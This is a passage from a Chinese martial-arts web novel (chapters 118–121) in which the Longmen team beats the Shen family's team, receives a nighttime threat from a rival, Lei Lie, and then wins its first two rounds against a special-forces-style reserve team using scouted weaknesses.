王大头脚下步伐轻移,《游龙步》展开,险险避开。
他能感觉到,沈坤的速度和力量都比个人赛时强了不少,看来沈家确实在他身上下了血本。
不过,仅此而已。
十招过后,王大头已经摸清了沈坤的底细。
扇法精妙,装备精良,但根基不稳,内力虚浮——显然是靠药物或秘法强行提升的。
这种实力,对付普通暗劲武者还行,但在他面前,不够看。
“沈公子,热身结束。”王大头忽然开口。
沈坤一愣。
下一秒,王大头动了!
他不再闪避,而是踏步向前,一拳轰出!
这一拳,朴实无华,却带着一股一往无前的气势!
拳意·开辟!
沈坤脸色大变,急忙用扇子格挡!
“砰!”
拳扇相交!
沈坤只觉得一股无可抵御的巨力传来,整个人倒飞出去,在空中翻滚了两圈才勉强落地,踉跄后退七八步,嘴角溢出一缕鲜血。
他手中的白玉骨扇,扇骨竟然出现了细微的裂痕!
“这……这怎么可能?”沈坤满脸不可置信。
他的扇子掺了玄铁,怎么可能被拳头打裂?
“装备再好,也要看用的人。”
王大头重复了刚才的话,“沈公子,认输吧,你不是我的对手。”
沈坤眼中闪过怨毒,猛地从怀中掏出一枚红色药丸,塞进口中!
“小心!那是‘暴血丹’!”台下,白子羽惊呼。
暴血丹,沈家秘制禁药,能在短时间内激发潜力,提升三成实力,但副作用极大,轻则虚弱数月,重则伤及根基。
沈坤这是要拼命!
服药后的沈坤,双眼赤红,气息暴涨!
他狂吼一声,再次扑上,扇法变得疯狂而凌厉,完全是以命搏命的打法!
王大头眼神一冷。
既然对方要玩命,那他也不再留情。
他深吸一口气,体内内力按照化劲法门运转,右拳缓缓抬起。
这一拳,不再保留。
“轰——!!!”
拳出如龙!
沈坤的扇影在拳劲面前,如纸糊般破碎!
拳头结结实实轰在沈坤胸口!
“噗——!”
沈坤喷出一口鲜血,整个人如断线风筝般飞出去,重重摔在二十米外的地上,昏死过去。
全场死寂。
一拳!
只用一拳,就击败了服用暴血丹的沈坤!
“第一局,龙门胜!”裁判宣布。
龙门这边爆发出欢呼。
沈家二队的人急忙冲上场,将沈坤抬下去救治。沈万钧在观众席上脸色铁青,死死盯着王大头。
“第二局,夺旗战!”
主裁判道,“双方各派四人上场,目标夺取对方旗帜并守住己方旗帜。时间三十分钟,若时间到双方都未夺旗,则根据控制旗帜的时间判定胜负。现在,双方队员上场!”
龙门这边,张猛、吴刚、孙浩、南宫明月上场。
沈家二队,沈浪、沈冰、沈岩、沈雨上场——沈坤重伤,他们只剩四人。
双方队员进入场地,各自占据一端。龙门旗帜插在西侧山脚,沈家旗帜插在东侧河边。
“比赛开始!”
一声令下,八人同时行动!
张猛和吴刚负责守护己方旗帜,孙浩和南宫明月则主动出击,前往沈家旗帜所在位置。
沈家那边,沈浪和沈岩留守,沈冰和沈雨出击。
夺旗战,关键在于速度和配合。
孙浩将速度发挥到极致,如猎豹般在丛林中穿梭。南宫明月则如鬼魅,悄无声息地潜行。
很快,双方在场地中间相遇。
沈冰的“寒冰指”专攻穴位,指风带着寒气,能迟缓对手动作。
沈雨的“无影脚”快如闪电,防不胜防。
但孙浩和南宫明月的组合,更加灵活。
孙浩游走骚扰,吸引注意力。
南宫明月则看准时机,一剑刺出!
她的剑,快得惊人!
沈雨根本来不及反应,就被剑尖点中肩井穴,整条手臂顿时酸麻无力。
沈冰大惊,急忙救援,但南宫明月已经抽身后退,与孙浩汇合,继续朝沈家旗帜前进。
“好快的剑!”观众席上有人惊呼。
“那个南宫明月,到底是什么来历?”
“龙门真是藏龙卧虎!”
另一边,沈浪和沈岩试图偷袭龙门旗帜,但被张猛和吴刚死死挡住。
张猛的硬功让沈浪的“劈空掌”无功而返,吴刚的沉稳防守让沈岩的“铁山靠”无法突破。
僵持了十分钟,南宫明月和孙浩已经接近沈家旗帜。
沈冰和沈雨拼命阻拦,但实力差距明显。
南宫明月剑法超绝,孙浩速度奇快,两人配合默
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契,很快突破了防线。
“夺旗!”
南宫明月一剑逼退沈冰,孙浩趁机冲到旗帜前,一把拔起沈家旗帜!
“龙门夺旗成功!”裁判宣布。
但比赛还没结束。沈家还有机会夺回旗帜,或者夺取龙门旗帜。
沈冰和沈雨红了眼,疯狂攻击。沈浪和沈岩也放弃防守,全力进攻。
但龙门四人配合默契,张猛和吴刚守住阵地,南宫明月和孙浩灵活机动,将沈家四人牢牢牵制。
时间一分一秒过去。
“时间到!第二局,龙门胜!”
三局两胜,龙门已经赢得比赛!
但按照规则,第三局混战还要进行,因为关系到小组赛积分——每赢一局得一分,最终积分决定小组排名。
“第三局,混战!双方五人全部上场,直到一方全部失去战斗力或认输!”
沈坤虽然重伤,但沈家二队还有四人。
龙门这边,王大头也上场,五人齐全。
“开始!”
混战爆发!
沈家四人知道已无胜算,但为了尊严,还是拼命一战。
沈浪的劈空掌、沈冰的寒冰指、沈岩的铁山靠、沈雨的无影脚,四人配合,倒也颇有声势。
但龙门五人,实力更强。
王大头正面强攻,张猛侧翼掩护,吴刚稳守后方,周倩策应辅助,南宫明月游走刺杀。
五人如一台精密的机器,运转流畅。
三分钟后,沈浪被王大头一拳击倒。
五分钟后,沈冰被南宫明月点中穴位,动弹不得。
七分钟后,沈岩和沈雨在张猛和吴刚的夹击下,双双落败。
“第三局,龙门胜!本场比赛,龙门三比零获胜!”
裁判的宣布,为这场比赛画上**。
全场掌声雷动。
龙门,团队赛首战告捷,而且是完胜!
沈家二队五人全部带伤,被担架抬下场。沈万钧脸色铁青,拂袖而去。
龙门众人聚在一起,击掌庆祝。
“干得漂亮!”王大头看着队友们,由衷赞道。
“都是王老师指挥得好!”孙浩兴奋道。
“大家的配合也很默契。”周倩笑道。
南宫明月收剑归鞘,淡淡道:“沈家不会善罢甘休。下一场对天骄预备营三队,才是硬仗。”
确实。
今天虽然赢了,但只是开始。
天骄预备营三队,实力比沈家二队强得多。
而且,雷烈那边,恐怕也在虎视眈眈。
但王大头不怕。
因为他的身后,有一群值得信赖的伙伴。
团队赛的路,还很长。
但他们已经迈出了坚实的第一步。
夕阳西下,训练场笼罩在金色的余晖中。
龙门一行人走出场地,迎接他们的是观众们敬佩的目光。
这一战,他们不仅赢了比赛。
更赢得了尊重。
回到小楼,白子羽已经在等他们。
“恭喜首战告捷。”白子羽笑道,“不过,我有个不太好的消息。”
“请讲。”
“天骄预备营三队的队长赵虎,刚才去见了雷烈。”
白子羽低声道,“他们谈了半个多小时。我的人听到,他们提到了‘那个计划’。”
“什么计划?”王大头问。
“不清楚。”
白子羽摇头,“但肯定是对付你们的计划。王会长,接下来的比赛,要格外小心。”
王大头点头:“多谢白公子提醒。”
送走白子羽,众人简单庆祝后,立刻开始复盘今天的比赛,准备明天的训练。
夜渐深。
第119章:夜色袭扰
团队赛首战告捷的当晚,龙门小楼沉浸在一种克制的喜悦中。
客厅里,李雅正在整理比赛数据,吴刚在一旁帮忙计算各项指标。
孙浩眉飞色舞地向张猛描述自己夺旗时的英姿,张猛则拍着胸脯吹嘘自己如何一夫当关。
周倩安静地坐在角落调息,刚才的比赛中她虽然只参与了第三局混战,但消耗也不小。
王大头靠在沙发上闭目养神。
与沈坤那一战看似轻松,实则消耗了他不少心力——不是体力,而是精神。
他能感觉到,沈坤最后服用的那颗“暴血丹”有些不对劲,药力太过狂暴,不像是普通激发潜力的丹药,倒像是某种……不完整的东西。
“沈家最近在丹药方面投入很大。”
白子羽下午的话在耳边响起,“他们从滇南请了好几个药师,据说是为了改良祖传的几种秘药。”
改良秘药?
改良成什么样子?
正思索间,南宫明月从房间走出来,手中拿着一块巴掌大小的黑色金属片。
“这是什么?”张猛好奇地问。
“沈坤扇子上的碎片。
”南宫明月将金属片放在茶几上,“我刚才检查了一下,里面除了玄铁,还掺了别的东西。”
王大头睁开眼睛,拿起金属片。
入手沉重,表面有细密的纹路,边缘处能看到断裂的茬口。
他运起内力感受,金属片微微发热,竟隐隐有吸收内力的迹象。
“这是……‘吸灵石’?”王大头皱眉。
“不像纯正的吸灵石,应该是某种仿制品或者劣化品。”
南宫明月道,“但效果类似,能吸收对手的内力,削弱攻击。沈坤的扇子如果完好,你那一拳的威力至少会被削弱三成。”
众人倒吸一口凉气。
削弱三成功力?那在势均力敌的战斗中简直是决定性的优势!
“沈家哪来的这种技术?”
李雅疑惑,“吸灵石是传说中的材料,据说只有几个隐世宗门还有少量存货,价值连城。”
“所以说是仿制品。”
南宫明月道,“但即便是仿制品,造价也不菲。沈家为了对付我们,还真是舍得下血本。”
王大头放下金属片,眼神凝重:“看来,沈家背后有人支持。”
“雷家?”
张猛脱口而出。
“有可能。”
吴刚翻开小本子,“根据现有情报,沈家和雷家最近三个月有七次高层会面,资金往来也比往年增加了三倍。他们在合作某个项目,具体内容不明。”
正说着,窗外忽然传来一声轻微的“咔嚓”声。
像是树枝被踩断的声音。
很轻,但在场的都不是普通人,立刻察觉到了。
南宫明月眼神一凛,身形如电,瞬间出现在窗边,掀开窗帘一角。
窗外夜色浓重,只有路灯投下昏黄的光晕。
楼前的空地上空无一人,远处的树木在风中摇曳。
“有人来过。”南宫明月低声道,“走了。”
王大头走到窗边,运起《星辰观想法》,精神力如蛛网般向四周蔓延。
他能感觉到,空气中残留着一丝极淡的内力波动,阴冷而诡异,与白天沈家二队的气息有些相似,但又不太一样。
“是来探底的。”
王大头判断,“看看我们赛后状态如何。”
张猛骂道:“鬼鬼祟祟,有本事正面来啊!”
“正面已经来了。”南宫明月忽然转身看向门口。
几乎同时,敲门声响起。
不是礼貌的轻敲,而是用力而急促的“砰砰”声,带着明显的挑衅意味。
客厅里的气氛瞬间紧绷。
王大头示意众人冷静,自己走到门口:“谁?”
“开门就知道了。”
门外传来一个年轻而倨傲的声音,“怎么?赢了场比赛,就连门都不敢开了?”
这声音……有些耳熟。
王大头打开门。
门外站着五个人,都穿着深蓝色绣雷纹的练功服。
为首的是个看起来二十岁左右的年轻人,身材高瘦,眉眼与雷昊有几分相似,但眼神更加锐利,带着一种不加掩饰的桀骜。
雷烈。雷昊的堂弟,雷家二队的队长。
他身后站着四个雷家子弟,个个气息精悍,太阳穴高高鼓起,显然都是好手。
“雷烈?”
王大头平静道,“有事?”
“来看看打败我堂哥的人,到底长什么样。”
雷烈上下打量王大头,眼神中带着审视和敌意,“看起来也没什么特别的嘛。”
张猛冲到门口,怒道:“雷烈!你想干什么?”
雷烈瞥了张猛一眼,嗤笑:“手下败将,也敢在我面前叫嚣?”
“你!”
张猛气得就要动手,被王大头拦住了。
“雷公子深夜来访,就是为了说这些废话?”王大头语气依旧平静。
“当然不是。”
雷烈双手抱胸,“我听说你们今天赢了沈家,三比零,很威风嘛。所以特来‘祝贺’。”
他特意在“祝贺”两个字上加重了语气,任谁都能听出其中的嘲讽。
“多谢。”王大头不咸不淡地回应。
雷烈脸色沉了下来:“王大头,我知道你有点本事。但你要搞清楚,这里是京城,不是你们滨海那个小地方。打了沈家,得罪了雷家,你觉得你还能走多远?”
“能走多远,是我的事。”
王大头淡淡道,“不劳雷公子费心。”
“好!有骨气!”
雷烈眼中寒光一闪,“那我就直说了。明天的比赛,你们对天骄预备营三队,对吧?”
“是又如何?”
“赵虎是我朋友。”
雷烈咧嘴一笑,笑容中带着残忍,“我已经跟他打过招呼了,明天的比赛……他会好好‘照顾’你们的。”
赤裸裸的威胁!
龙门众人脸色都变了。
雷烈很满意这个效果,继续道:“另外,团队赛小组赛最后一场,你们会对上我们雷家二队。到时候,我会亲自上场,让你知道,什么叫真正的世家功夫。”
他说完,转身就要走,但走了两步又停下来,回头看向王大头,补充了一句:“对了,我堂哥雷昊让我给你带句话——那一拳的账,他会亲自来讨。”
王大头眼神微冷:“随时恭候。”
雷烈冷哼一声,带着四个雷家子弟扬长而去。
他们走后,客厅里一片沉默。
张猛一拳砸在墙上:“妈的!太嚣张了!”
“他们是故意的。”
周倩轻声道,“故意来扰乱我们的心态,影响明天的比赛。”
“而且他们和天骄预备营联手了。”
吴刚翻着小本子,“赵虎的资料显示,他是高战的副手,实战经验丰富,擅长团队指挥。如果雷烈真的和他打过招呼,明天我们会很麻烦。”
王大头关上门,走回客厅:“意料之中。雷家、沈家、天骄预备营,他们本来就是一伙的。”
“那怎么办?”
孙浩有些慌,“他们要是联手针对我们……”
“兵来将挡。”王大头坐下,“明天对天骄预备营三队,是硬仗,但也是机会。”
“机会?”张猛不解。
“如果我们能在所有人都认为我们会输的情况下,赢下比赛,那对士气的提升是巨大的。”
王大头分析道,“而且,也能震慑其他想对我们下手的队伍。”
南宫明月忽然开口:“赵虎的弱点,在左腿。”
众人看向她。
“他三年前执行任务时左腿受过重伤,虽然治好了,但阴雨天还是会疼。”南宫明月淡淡道,“这个情报,值多少钱?”
王大头眼睛一亮:“你从哪里知道的?”
“我自然有我的渠道。”
南宫明月没有多说,“另外,天骄预备营三队的战术特点是‘闪电战’,喜欢开场强攻,速战
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速决。如果能在前期顶住他们的攻势,拖入持久战,他们的配合就会出问题。”
李雅立刻记录下来:“还有吗?”
“赵虎的副手叫钱豹,脾气暴躁,容易上头。如果能激怒他,让他脱离阵型,就好对付了。”
南宫明月继续道,“其他三人,孙狼、李鹰、周熊,名字都是代号,实力在暗劲中期左右,擅长合击。但他们的合击术有个破绽——每次变阵时,会有一秒钟的衔接空当。”
一秒钟,对于高手来说,足够了。
“明月姑娘,这些情报太重要了!”李雅兴奋道,“有了这些,我们就能制定针对性战术。”
王大头看着南宫明月,郑重道:“多谢。”
“不必。”南宫明月摇头,“我也是龙门的一员。”
这话让众人都心中一暖。
确实,虽然南宫明月平时沉默寡言,神秘莫测,但关键时刻,她总是站在龙门这边。
“好了,时间不早了。”
王大头站起身,“大家早点休息,养精蓄锐。明天上午,我们开战术会,详细布置对天骄预备营的比赛。”
众人各自回房。
王大头回到自己房间,却没有立刻休息。
他站在窗前,看着窗外的夜色,脑海中回想着雷烈的话。
“那一拳的账,他会亲自来讨。”
雷昊的伤势,真的那么重吗?重到需要休养一年,甚至影响武道根基?
还是说……雷家在故意放***?
正思索间,手机震动了一下。
是一条陌生号码发来的短信,只有两个字:
“小心。”
没有落款,没有更多信息。
王大头皱眉,回拨过去,提示是空号。
谁发的?白子羽?林惊羽?还是……别的什么人?
他走到书桌前,打开电脑,登录武道协会的内部论坛——这是参赛选手的专属权限。
论坛里,关于今天比赛的讨论已经刷屏。
置顶的帖子是官方发布的比赛结果和精彩集锦。
下面,各种分析帖、预测帖、八卦帖层出不穷。
其中一个帖子引起了王大头的注意:
《惊爆!雷家天才雷昊伤势有诈?疑似秘密特训,准备王者归来!》
点进去,楼主自称是雷家内部人员,透露雷昊的伤势其实没那么重,雷家故意夸大其词,是为了麻痹对手,同时给雷昊争取秘密特训的时间。
据说雷家请了一位隐世高人,正在用某种秘法为雷昊疗伤并提升实力。
帖子下面,有人相信,有人质疑,吵得不可开交。
王大头关掉帖子,陷入沉思。
如果这是真的,那雷家的图谋就不仅仅是团队赛那么简单了。
他们在谋划更大的事。
而龙门,很可能只是他们计划中的一环。
正想着,窗外又传来轻微的响动。
这次不是脚步声,而是……某种金属摩擦的声音。
很轻,但很清晰。
王大头眼神一凝,悄无声息地走到窗边,掀开窗帘一角。
月光下,小楼外的围墙上,蹲着一个黑影。
那黑影身材瘦小,全身包裹在黑色夜行衣中,只露出一双眼睛。
他(或她)手中拿着一个巴掌大小的装置,正对准小楼,装置上的红色指示灯一闪一闪。
监视器?还是别的什么东西?
黑影似乎察觉到了被窥视,猛地抬头,与王大头的目光对上!
四目相对。
下一秒,黑影身形一晃,如狸猫般翻下围墙,消失在夜色中。
王大头没有追。
他站在原地,眉头紧皱。
今晚,已经来了两拨人。
一拨明着挑衅,一拨暗中窥探。
看来,很多人都在盯着龙门。
他回到床边,盘膝坐下。
《星辰观想法》运转,精神力如潮水般向四周扩散,将整个小楼笼罩在内。
任何风吹草动,都逃不过他的感知。
第120章:月下立威,余波未平
第二天清晨,天刚蒙蒙亮,龙门众人已经在小训练室集合。
经过一夜休息,大家都精神饱满。
昨晚雷烈的挑衅和神秘黑影的窥探,反而激发了众人的斗志。
“今天的战术很简单。”
王大头在白板上画着示意图,“天骄预备营三队擅长闪电战,开场一定会强攻。我们要做的,就是顶住第一波攻势,然后反击。”
他指着白板上的几个点位:“第一局擂台战,我上。第二局夺旗战,猛哥、小吴、小倩、明月,你们四个上。小孙作为替补,随时准备。”
“为什么第二局不让孙浩上?”张猛问。
“天骄预备营的战术强调速度和突击,小孙的速度虽然快,但防御不足。”
王大头解释,“第二局夺旗战地形复杂,我们需要稳扎稳打。小吴的下盘稳,适合守旗;小倩的观察力强,适合指挥;明月的剑法适合游击;猛哥的力量适合攻坚。这个组合更均衡。”
孙浩虽然有些失望,但还是点头:“我明白,王老师。”
“第三局混战,看情况调整。”
王大头继续道,“如果前两局我们都赢了,第三局可以适当保留实力;如果输了,就要全力以赴。”
众人点头。
“另外,有几个关键点要注意。”
王大头看向南宫明月,“明月,你来说说赵虎的弱点。”
南宫明月走到白板前,用马克笔画了一个简单的人形图:“赵虎,二十八岁,前特种部队格斗教官,三年前因伤退役加入天骄预备营。他的左腿膝盖受过枪伤,虽然通过手术和强化训练恢复了功能,但连续高强度运动超过二十分钟,就会开始疼痛。”
她在人形图的左膝位置画了个圈:“所以,和他交手,要尽量拖时间,逼他不断移动。另外,他习惯用右腿发力,左腿更多是支撑。如果能破坏他的平衡,让他左腿承重,就能制造机会。”
“钱豹呢?”周倩问。
“钱豹,二十六岁,脾气暴躁,好勇斗狠。”
南宫明月在人形图旁边又画了一个,“他练的是外家硬功,但心性不稳,容易被激怒。如果能在战斗中言语挑衅,或者用技巧戏耍他,他很可能会脱离阵型单独行动。”
“孙狼、李鹰、周熊,这三个人是赵虎从部队带出来的老兵,配合默契。”
南宫明月继续道,“他们的合击术叫‘三才阵’,攻防一体。但每次变阵时,负责衔接的李鹰会有半秒的延迟——这是他们的训练习惯导致的,很难改掉。”
半秒的延迟,在高手对决中,足以决定胜负。
“很好。”
王大头赞许地点头,“有了这些情报,我们的胜算又多了几分。”
战术会开到八点,众人简单吃过早餐,便前往三号训练场——今天的两场比赛都在这里进行。
上午是小组赛第二轮,第七组的另一场比赛:沈家二队对铁马帮。
龙门全队到场观战,既是为了收集情报,也是为了观察沈家二队在惨败后的状态。
观众席上,沈万钧没有出现,带队的是沈家的一个长老。
沈坤也没有来,据说还在医疗室休养。沈家二队由沈浪带队,但士气明显低落。
比赛开始,沈家二队完全不在状态。
沈浪的劈空掌软绵无力,沈冰的寒冰指准头大失,沈岩和沈雨的配合也频频出错。
反观铁马帮,虽然实力一般,但打得很有章法,稳扎稳打。
最终,沈家二队竟然以一比二输给了铁马帮!
只在第一局擂台战赢了一场,后面两局全败。
这个结果让所有人都大跌眼镜。
“沈家这是彻底摆烂了?”张猛惊讶道。
“不是摆烂,是心态崩了。”
周倩轻声道,“昨天被我们三比零横扫,对他们的打击太大了。而且沈坤重伤,队伍没了主心骨。”
王大头没有说话,只是静静看着沈家队员垂头丧气地离场。
他能感觉到,沈家二队的失败,不仅仅是实力问题,更是一种……放弃。
沈万钧难道真的就这样认输了?不像他的风格。
正思索间,观众席另一边传来一阵喧哗。
天骄预备营三队的人到了。
赵虎走在最前面,身高一米八五左右,剃着平头,脸上有一道从眉骨到下巴的疤痕,眼神锐利如鹰。
他穿着黑色战术背心,露出的手臂肌肉贲张,青筋如蚯蚓般蜿蜒。
他身后跟着钱豹、孙狼、李鹰、周熊四人,都穿着同样的黑色训练服,步伐整齐,气势逼人。
经过龙门所在的区域时,赵虎停下脚步,转头看向王大头。
两人的目光在空中碰撞。
没有言语,但空气中的温度仿佛都下降了几度。
几秒后,赵虎咧嘴一笑,露出森白的牙齿,做了个抹脖子的手势,然后带着队员大步离开。
“嚣张什么!”张猛怒道。
“让他们嚣张。”王大头平静道,“擂台上见真章。”
下午两点,第七组第二轮第二场比赛:龙门对天骄预备营三队。
这场比赛的热度,比昨天龙门对沈家那场还要高。
观众席上座无虚席,媒体区的摄像机增加了一倍。
很多人都在期待,看龙门这匹黑马,能不能继续创造奇迹。
双方队员入场。
龙门这边,王大头打头阵,身后跟着张猛、周倩、吴刚、南宫明月。
五人都是藏青色练功服,左胸的银色龙纹在阳光下熠熠生辉。
天骄预备营那边,赵虎为首,钱豹、孙狼、李鹰、周熊紧随其后,五人清一色黑色战术服,表情冷酷,如同五柄出鞘的利刃。
裁判还是昨天那位主裁判,他看了双方一眼,朗声道:“第七组第二轮第二场,龙门对天骄预备营三队。现在进行第一局,擂台战!双方派代表上场!”
按照计划,龙门这边王大头上场。
天骄预备营那边,赵虎走了出来。
两人在场地中间相对而立。
“王大头?”赵虎声音粗粝,“高战让我给你带句话——那一拳,他会十倍奉还。”
“随时恭候。”王大头
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平静道。
“不过在那之前,我会先替他收点利息。”
赵虎咧嘴笑道,脸上的疤痕扭曲,显得狰狞可怖。
裁判示意比赛开始。
赵虎动了!
他果然如情报所说,一开场就是全力强攻!
一步踏出,整个人如炮弹般射向王大头,右拳直轰面门,拳风呼啸,带着一股惨烈的沙场气息!
这不是比武,这是搏杀!
王大头眼神一凝,《游龙步》展开,侧身闪避。他能感觉到,赵虎的拳力比高战还要刚猛,而且更加纯粹——那是千锤百炼的**技,没有任何花哨。
一拳落空,赵虎变招极快,左腿如鞭子般扫向王大头膝盖!
这一腿又快又狠,专攻关节!
王大头跃起避开,但赵虎似乎早有所料,另一条腿紧跟着扫向空中!
连环腿!而且比高战更加流畅,更加狠辣!
避无可避!
王大头人在空中,无法借力,但他心念电转,双手向下拍出,内力迸发,借力向后翻腾,落地时踉跄两步。
“反应不错。”赵虎舔了舔嘴唇,“但还不够!”
他再次扑上,拳脚如**,每一招都直奔要害!咽喉、眼睛、下阴、太阳穴……全是杀招!
王大头沉着应对,《星辰观想法》全力运转,捕捉赵虎的每一丝动作。
他能感觉到,赵虎的左腿在发力时确实有极其细微的滞涩——虽然他已经掩饰得很好,但在超强感知下,依旧无所遁形。
二十招后,王大头逐渐适应了赵虎的节奏。
赵虎久攻不下,有些焦躁,猛喝一声,拳势再变!
这一次,他放弃了所有防御,完全是以命搏命的打法!
“**!”
他一拳轰向王大头胸口,完全不顾自己空门大开!
这是两败俱伤的打法!
但王大头没有硬拼。
他脚下步伐诡异地一扭,以毫厘之差避开拳锋,同时右手并指如剑,闪电般点向赵虎左膝外侧!
那里是旧伤所在!
赵虎脸色大变,想要闪避,但已经来不及!
“噗!”
指尖触及,劲力透入!
赵虎只觉得左膝一麻,整条腿的力道瞬间消散大半!
他闷哼一声,单膝跪地,额头冷汗涔涔。
王大头没有追击,后退两步,抱拳道:“承让。”
赵虎死死盯着王大头,眼中充满了怨毒和不甘。
他想站起来再战,但左膝剧痛,根本使不上力。
“第一局,龙门胜!”裁判宣布。
全场哗然!
赵虎,天骄预备营三队的队长,竟然在第一局就败了!而且败得如此干脆!
天骄预备营那边,钱豹等人脸色铁青。
观众席上,雷烈更是猛地站起,拳头握得嘎吱作响。
“废物!”他低声骂了一句,拂袖而去。
赵虎被队友扶下场,经过龙门区域时,他死死盯着王大头,一字一句道:“这事没完。”
王大头神色如常:“随时奉陪。”
第二局夺旗战即将开始。
第121章:夺旗激战
龙门与天骄预备营三队的第二局夺旗战,气氛比第一局更加紧张。
观众席上鸦雀无声,所有人都屏住呼吸,盯着场地内即将登场的八人。
夺旗战的胜负往往比擂台战更考验队伍的整体实力和战术素养,因为这是真正的团队对抗。
龙门昨天虽然赢了沈家二队,但沈家当时心态已崩,参考价值有限。而天骄预备营三队,是真正的实战队伍。
“第二局,夺旗战!双方各派四人上场,时间三十分钟。龙门旗帜在西南角丛林边缘,天骄预备营旗帜在东北角废弃建筑内。现在,队员上场!”主裁判朗声宣布。
龙门这边,张猛、周倩、吴刚、南宫明月四人起身,走向入场口。
天骄预备营那边,钱豹、孙狼、李鹰、周熊四人上场——队长赵虎膝盖受伤,只能场边观战。
“记住战术。”王大头对四人低声道,“稳扎稳打,不要冒进。如果情况不对,立刻撤退,不要硬拼。”
四人点头,走进场地。
随着裁判一声哨响,比赛开始!
张猛和吴刚直奔己方旗帜所在位置,采取防守态势。周倩和南宫明月则如猎豹般窜出,目标直指对方旗帜。
天骄预备营的战术果然如情报所说——闪电战!
钱豹、孙狼、李鹰三人组成三角阵型,以惊人的速度直扑龙门旗帜!周熊则单独行动,绕道侧翼,显然是准备偷袭。
“好快!”观众席上有人惊呼。
“天骄预备营的速度比昨天沈家快了一倍不止!”
“龙门危险了!”
场地内,张猛和吴刚刚刚在己方旗帜附近站稳,钱豹三人已经冲到面前!
“给老子滚开!”钱豹怒吼一声,一拳轰向张猛面门!拳风刚猛,带着惨烈的沙场气息!
张猛丝毫不惧,硬功催动,同样一拳迎上!
“砰!”
双拳相撞,发出沉闷的巨响!两人各退一步,钱豹脸上闪过一丝惊讶——他没想到这个看起来粗豪的大汉,拳力竟然如此之强!
与此同时,孙狼和李鹰从两侧包抄,攻向吴刚!
孙狼使的是**(特制训练版),专攻要害;李鹰用的是短棍,招式狠辣。两人配合默契,一左一右,封**吴刚所有退路。
但吴刚的下盘功夫极稳!他双脚如生根般扎在地上,双拳护住要害,硬抗两人攻击!
“铛铛铛!”**和短棍击打在吴刚身上,发出金铁交鸣之声,却只留下浅浅的白印!
“好硬的功夫!”孙狼脸色微变。
李鹰则眉头紧皱:“不对,他的呼吸节奏很特别,硬功运转方式和我们训练的不一样。”
他们不知道,吴刚练的是王大头改良后的《基础硬功》,结合了科学呼吸法和肌肉控制技巧,防御力远超传统硬功。
另一边,周倩和南宫明月已经接近天骄预备营的旗帜所在地——一栋三层废弃建筑的二楼。
建筑内部结构复杂,走廊交错,房间众多,非常适合埋伏。
“小心。”周倩低声道,“他们可能留了人守旗。”
话音刚落,建筑内突然传来一声冷笑:“现在才想到?晚了!”
一道黑影从二楼窗口跃出,正是周熊!他手中握着一把训练用**,直刺南宫明月后心!
偷袭!
但南宫明月仿佛背后长了眼睛,身形诡异地一扭,长剑如灵蛇般反手刺出!
“叮!”
剑尖精准地点在**刃尖上,周熊只觉得手腕剧震,**差点脱手!
他心中大骇,急忙后撤,但南宫明月已经转过身来,长剑如虹,直取咽喉!
周熊拼命格挡,但剑法差距太大,三招过后,手臂、肩膀、大腿接连中剑,虽不致命,但已失去战斗力。
“废物。”南宫明月收剑,看都不看倒在地上的周熊,继续朝建筑内走去。
周倩紧跟其后,心中震撼——她知道南宫明月很强,但没想到强到这个地步。
那可是天骄预备营的正式队员,竟然在她手下走不过五招!
两人进入建筑,很快找到了旗帜所在房间——二楼最里面的储藏室。
推开门,里面空无一人。
“不对。”周倩皱眉,“太顺利了。赵虎受伤,钱豹三人去进攻我们旗帜,周熊偷袭失败……他们真的没有留人守旗?”
南宫明月走到旗帜前,却没有立刻去拔,而是仔细检查四周。
突然,她眼神一凝,长剑闪电般刺向墙角一处阴影!
“噗!”
阴影中传来一声闷哼,一个人影踉跄出现,正是李鹰!
他竟然没去进攻龙门旗帜,而是用某种潜行技巧隐藏在旗子附近,准备等龙门队员夺旗时偷袭!
“你怎么……”李鹰捂着肩膀伤口,满脸难以置信。
他的潜行术是特种部队学的,连热成像仪都很难发现,这个女剑客是怎么看出来的?
“呼吸,心跳,还有……”南宫明月长剑斜指,“杀气。”
她从进门那一刻,就感觉到了若有若无的杀气。虽然李鹰隐藏得很好,但在她这种级别的剑客面前,无所遁形。
李鹰咬牙,还想再战,但南宫明月的剑已经抵在他喉前三寸。
“认输,或者死。”南宫明月语气平淡,但眼神中的杀意让李鹰毫不怀疑,她真的会下**。
“……我认输。”李鹰颓然道。
南宫明月这才收剑,示意周倩去拔旗。
周倩上前,握住旗杆,正要用力——
“小心!”
南宫明月突然厉喝,长剑如电般刺向周倩身后!
但已经晚了!
一道人影如鬼魅般从天花板落下,手中**直刺周倩后心!是孙狼!
他竟然也潜回来了!
“噗嗤!”
**入肉的声音!
但刺中的不是周倩,而是突然挡在她身后的张猛!
“猛哥!”周倩惊叫。
张猛用后背硬扛了这一刺,训练用的**虽然没开刃,但在孙狼的全力爆发下,依然刺破皮肤,深入肌肉寸许!鲜血瞬间染红衣襟!
“妈的……真疼……”张猛咧嘴,反手一拳轰向孙狼!
孙狼没想到张猛这么悍勇,急忙后撤,但还是被拳风扫中胸口,闷哼一声,嘴角溢血。
“你们……”孙狼脸色难看。他刚才明明看到张猛在守旗那边,怎么这么快就赶回来了?
“你以为就你们会玩战术?”张猛啐了一口血沫,“老子早就防着你们这手了!”
原来,张猛和吴刚在守旗时,就发现了不对劲——钱豹攻势虽猛,但孙狼和李鹰明显没出全力。
他立刻判断对方可能有人潜行回来守旗,于是让吴刚独自防守,自己偷偷绕路赶回来支援。
果然赶上了!
“小倩,拔旗!”张猛吼道,同时扑向孙狼,“这孙子交给我!”
周倩不再犹豫,用力拔起旗帜!
“龙门夺旗成功!”裁判的声音通过扩音器传遍全场。
但战斗还没结束。
孙狼见旗帜被夺,眼睛都红了,疯狂攻击张猛。钱豹在得知旗子被夺后,也丢下吴刚,全速赶回。
而吴刚在钱豹离开后,也立刻朝建筑这边赶来。
一时间,建筑内成了混战战场。
张猛对孙狼,南宫明月对钱豹,吴刚和周倩则守住旗帜,防止被夺回。
“铛铛铛!”金铁交鸣声不绝于耳。
张猛虽然受伤,但悍勇无比,硬功催到极致,拳拳到肉,与孙狼打得难分难解。
南宫明月对钱豹,则是完全压制。
钱豹的硬功和实战经验虽然丰富,但在南宫明月的剑法面前,处处受制,不过十招,身上已经多了三道剑伤。
“时间到!”裁判哨响。
三十分钟比赛时间结束!
由于龙门成功夺旗并守住,第二局,龙门胜!
“赢了!又赢了!”观众席上,龙门支持者爆发出欢呼。
但场地内,张猛却一个踉跄,差点摔倒。
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“猛哥!”周倩急忙扶住他。
张猛后背的伤口还在流血,**虽然不致命,但刺得很深。
